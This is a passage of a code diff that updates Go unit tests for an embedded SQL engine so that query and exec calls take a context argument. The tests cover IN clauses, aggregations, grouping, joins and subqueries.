title, active FROM table1 WHERE title IN (@param0, @param1)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, VarcharType, params["param0"]) @@ -3010,20 +3045,20 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("infer parameters with type conflicts should return an error", func(t *testing.T) { - _, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE active = @param1 and title IN (@param0, @param1)", nil) + _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE active = @param1 and title IN (@param0, @param1)") require.ErrorIs(t, err, ErrInferredMultipleTypes) }) t.Run("infer parameters with unexistent column should return an error", func(t *testing.T) { - _, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE invalidColumn IN ('title1', 'title2')", nil) + _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE invalidColumn IN ('title1', 'title2')") require.ErrorIs(t, err, ErrColumnDoesNotExist) }) t.Run("in clause with invalid column should return an error", func(t *testing.T) { - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE invalidColumn IN (1, 2)", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE invalidColumn IN (1, 2)", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() @@ -3031,10 +3066,10 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("in clause with invalid type should return an error", func(t *testing.T) { - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE title IN (1, 2)", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN (1, 2)", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() @@ -3042,11 +3077,11 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("in clause should succeed reading two rows", func(t *testing.T) { - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')", nil) require.NoError(t, err) for i := 0; i < 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) @@ -3057,10 +3092,10 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("in clause with invalid values should return an error", func(t *testing.T) { - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE title IN ('title0', true + 'title1')", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', true + 'title1')", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidValue) err = r.Close() @@ -3068,11 +3103,11 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("in clause should succeed reading rows NOT included in 'IN' clause", func(t *testing.T) { - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE title NOT IN ('title1', 'title0')", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title NOT IN ('title1', 'title0')", nil) require.NoError(t, err) for i := 2; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) @@ -3083,11 +3118,11 @@ func TestQueryWithInClause(t *testing.T) { }) t.Run("in clause should succeed reading using 'IN' clause in join condition", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 as t1 INNER JOIN table1 as t2 ON t1.title IN (t2.title) ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 as t1 INNER JOIN table1 as t2 ON t1.title IN (t2.title) ORDER BY title", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].Value()) @@ -3101,10 +3136,10 @@ func TestQueryWithInClause(t *testing.T) { func TestAggregations(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(age)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) rowCount := 10 @@ -3116,35 +3151,35 @@ func TestAggregations(t *testing.T) { params["title"] = fmt.Sprintf("title%d", i) params["age"] = base + i - _, _, err = engine.Exec("INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params) require.NoError(t, err) } - r, err := engine.Query("SELECT COUNT(*) FROM table1 WHERE id < i", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE id < i", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id FROM table1 WHERE false", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE false", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) require.Nil(t, row) err = r.Close() require.NoError(t, err) - r, err = engine.Query(` + r, err = engine.Query(context.Background(), nil, ` SELECT COUNT(*), SUM(age), MIN(title), MAX(age), AVG(age), MIN(active), MAX(active), MIN(payload) - FROM table1 WHERE false`, nil, nil) + FROM table1 WHERE false`, nil) require.NoError(t, err) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col1")].Value()) @@ -3155,14 +3190,14 @@ func TestAggregations(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT COUNT(*) AS c, SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 AS t1", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) AS c, SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 AS t1", nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) @@ -3177,7 +3212,7 @@ func TestAggregations(t *testing.T) { require.Equal(t, int64(base+rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -3187,42 +3222,42 @@ func TestAggregations(t *testing.T) { func TestCount(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val1 INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON t1(val1)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON t1(val1)", nil) require.NoError(t, err) for i := 0; i < 10; i++ { for j := 0; j < 3; j++ { - _, _, err = engine.Exec("INSERT INTO t1(val1) VALUES($1)", map[string]interface{}{"param1": j}, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO t1(val1) VALUES($1)", map[string]interface{}{"param1": j}) require.NoError(t, err) } } - r, err := engine.Query("SELECT COUNT(*) as c FROM t1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, uint64(30), row.ValuesBySelector["(db1.t1.c)"].Value()) err = r.Close() require.NoError(t, err) - _, err = engine.Query("SELECT COUNT(*) as c FROM t1 GROUP BY val1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1", nil) require.ErrorIs(t, err, ErrLimitedGroupBy) - r, err = engine.Query("SELECT COUNT(*) as c FROM t1 GROUP BY val1 ORDER BY val1", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1 ORDER BY val1", nil) require.NoError(t, err) for j := 0; j < 3; j++ { - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, uint64(10), row.ValuesBySelector["(db1.t1.c)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -3232,10 +3267,10 @@ func TestCount(t *testing.T) { func TestGroupByHaving(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) rowCount := 10 @@ -3248,65 +3283,65 @@ func TestGroupByHaving(t *testing.T) { params["age"] = base + i params["active"] = i%2 == 0 - _, _, err = engine.Exec("INSERT INTO table1 (id, title, age, active) VALUES (@id, @title, @age, @active)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, active) VALUES (@id, @title, @age, @active)", params) require.NoError(t, err) } - _, err = engine.Query("SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null HAVING AVG(age) >= MIN(age)", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null HAVING AVG(age) >= MIN(age)", nil) require.Equal(t, ErrHavingClauseRequiresGroupClause, err) - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null GROUP BY active HAVING AVG(age) >= MIN(age) - ORDER BY active`, nil, nil) + ORDER BY active`, nil) require.NoError(t, err) r.SetParameters(nil) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrColumnDoesNotExist, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query(` + r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE AVG(age) >= MIN(age) GROUP BY active - ORDER BY active`, nil, nil) + ORDER BY active`, nil) require.NoError(t, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT active, COUNT(id) FROM table1 GROUP BY active ORDER BY active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(id) FROM table1 GROUP BY active ORDER BY active", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrLimitedCount, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query(` + r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*) FROM table1 GROUP BY active HAVING AVG(age) >= MIN(age1) - ORDER BY active`, nil, nil) + ORDER BY active`, nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) - r, err = engine.Query(` + r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*) as c, MIN(age), MAX(age), AVG(age), SUM(age) FROM table1 GROUP BY active @@ -3316,15 +3351,15 @@ func TestGroupByHaving(t *testing.T) { MAX(age) < SUM(age) AND AVG(age) >= MIN(age) AND SUM(age) > 0 - ORDER BY active DESC`, nil, nil) + ORDER BY active DESC`, nil) require.NoError(t, err) - _, err = r.Columns() + _, err = r.Columns(context.Background()) require.NoError(t, err) for i := 0; i < 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 6) @@ -3349,38 +3384,38 @@ func TestGroupByHaving(t *testing.T) { func TestJoins(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, fkid2 INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, fkid2 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table2 (id INTEGER, amount INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, amount INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf(` - UPSERT INTO table1 (id, title, fkid1, fkid2) VALUES (%d, 'title%d', %d, %d)`, i, i, rowCount-1-i, i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` + UPSERT INTO table1 (id, title, fkid1, fkid2) VALUES (%d, 'title%d', %d, %d)`, i, i, rowCount-1-i, i), nil) require.NoError(t, err) - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table2 (id, amount) VALUES (%d, %d)", rowCount-1-i, i*i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table2 (id, amount) VALUES (%d, %d)", rowCount-1-i, i*i), nil) require.NoError(t, err) - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil) require.NoError(t, err) } t.Run("should not find any matching row", func(t *testing.T) { - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT table1.title, table2.amount, table3.age FROM (SELECT * FROM table2 WHERE amount = 1) INNER JOIN table1 ON table2.id = table1.fkid1 AND (table2.amount > 0 OR table2.amount > 0+1) - INNER JOIN table3 ON table1.fkid2 = table3.id AND table3.age < 30`, nil, nil) + INNER JOIN table3 ON table1.fkid2 = table3.id AND table3.age < 30`, nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -3388,18 +3423,18 @@ func TestJoins(t *testing.T) { }) t.Run("should find one matching row", func(t *testing.T) { - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT t1.title, t2.amount, t3.age FROM (SELECT id, amount FROM table2 WHERE amount = 1) AS t2 INNER JOIN table1 AS t1 ON t2.id = t1.fkid1 AND t2.amount > 0 - INNER JOIN table3 AS t3 ON t1.fkid2 = t3.id AND t3.age > 30`, nil, nil) + INNER JOIN table3 AS t3 ON t1.fkid2 = t3.id AND t3.age > 30`, nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -3407,22 +3442,22 @@ func TestJoins(t *testing.T) { }) t.Run("should resolve every inserted row", func(t *testing.T) { - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT id, title, table2.amount, table3.age FROM table1 INNER JOIN table2 ON table1.fkid1 = table2.id INNER JOIN table3 ON table1.fkid2 = table3.id WHERE table1.id >= 0 AND table3.age >= 30 - ORDER BY id DESC`, nil, nil) + ORDER BY id DESC`, nil) require.NoError(t, err) r.SetParameters(nil) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) @@ -3438,13 +3473,13 @@ func TestJoins(t *testing.T) { }) t.Run("should return error when joining nonexistent table", func(t *testing.T) { - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT title FROM table1 - INNER JOIN table22 ON table1.id = table11.fkid1`, nil, nil) + INNER JOIN table22 ON table1.id = table11.fkid1`, nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrTableDoesNotExist) err = r.Close() @@ -3455,39 +3490,39 @@ func TestJoins(t *testing.T) { func TestJoinsWithNullIndexes(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(` + _, _, err := engine.Exec(context.Background(), nil, ` CREATE TABLE table1 (id INTEGER, fkid2 INTEGER, PRIMARY KEY id); CREATE TABLE table2 (id INTEGER, id2 INTEGER, val INTEGER, PRIMARY KEY id); CREATE INDEX ON table2(id2); INSERT INTO table2(id, id2, val) VALUES (1, 1, 100), (2, null, 200); INSERT INTO table1(id, fkid2) VALUES (10, 1), (20, null); - `, nil, nil) + `, nil) require.NoError(t, err) - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT table2.val FROM table1 INNER JOIN table2 ON table1.fkid2 = table2.id2 - ORDER BY table1.id`, nil, nil) + ORDER BY table1.id`, nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -3497,44 +3532,44 @@ func TestJoinsWithNullIndexes(t *testing.T) { func TestJoinsWithJointTable(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, amount INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, amount INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table12 (id INTEGER AUTO_INCREMENT, fkid1 INTEGER, fkid2 INTEGER, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table12 (id INTEGER AUTO_INCREMENT, fkid1 INTEGER, fkid2 INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (name) VALUES ('name1'), ('name2'), ('name3')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (name) VALUES ('name1'), ('name2'), ('name3')", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table2 (amount) VALUES (10), (20), (30)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table2 (amount) VALUES (10), (20), (30)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table12 (fkid1, fkid2, active) VALUES (1,1,false),(1,2,true),(1,3,true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (1,1,false),(1,2,true),(1,3,true)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table12 (fkid1, fkid2, active) VALUES (2,1,false),(2,2,false),(2,3,true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (2,1,false),(2,2,false),(2,3,true)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table12 (fkid1, fkid2, active) VALUES (3,1,false),(3,2,false),(3,3,false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (3,1,false),(3,2,false),(3,3,false)", nil) require.NoError(t, err) - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT q.name, t2.amount, t12.active FROM (SELECT * FROM table1 where name = 'name1') q INNER JOIN table12 t12 on t12.fkid1 = q.id INNER JOIN table2 t2 on t12.fkid2 = t2.id - WHERE t12.active = true`, nil, nil) + WHERE t12.active = true`, nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 3) for i := 0; i < 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) @@ -3551,42 +3586,42 @@ func TestJoinsWithJointTable(t *testing.T) { func TestNestedJoins(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table2 (id INTEGER, amount INTEGER, fkid1 INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, amount INTEGER, fkid1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table1 (id, title, fkid1) VALUES (%d, 'title%d', %d)", i, i, rowCount-1-i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, title, fkid1) VALUES (%d, 'title%d', %d)", i, i, rowCount-1-i), nil) require.NoError(t, err) - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table2 (id, amount, fkid1) VALUES (%d, %d, %d)", rowCount-1-i, i*i, i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table2 (id, amount, fkid1) VALUES (%d, %d, %d)", rowCount-1-i, i*i, i), nil) require.NoError(t, err) - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil) require.NoError(t, err) } - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT id, title, t2.amount AS total_amount, t3.age FROM table1 t1 INNER JOIN table2 t2 ON (fkid1 = t2.id AND title != NULL) INNER JOIN table3 t3 ON t2.fkid1 = t3.id - ORDER BY id DESC`, nil, nil) + ORDER BY id DESC`, nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) @@ -3609,59 +3644,59 @@ func TestReOpening(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) engine, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.ErrorIs(t, err, ErrIndexAlreadyExists) } func TestSubQuery(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) - _, _, err = engine.Exec(fmt.Sprintf(` + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` UPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s') - `, i, i, i%2 == 0, encPayload), nil, nil) + `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } - r, err := engine.Query(` + r, err := engine.Query(context.Background(), nil, ` SELECT id, title t FROM (SELECT id, title, active FROM table1) t2 - WHERE active AND t2.id >= 0`, nil, nil) + WHERE active AND t2.id >= 0`, nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) for i := 0; i < rowCount; i += 2 { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) @@ -3673,22 +3708,22 @@ func TestSubQuery(t *testing.T) { err = r.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title) VALUES (0, 'title0')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (0, 'title0')", nil) require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE active", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE title", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE title", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidCondition) err = r.Close() @@ -3703,13 +3738,13 @@ func TestJoinsWithSubquery(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE IF NOT EXISTS customers ( id INTEGER, customer_name VARCHAR[60], @@ 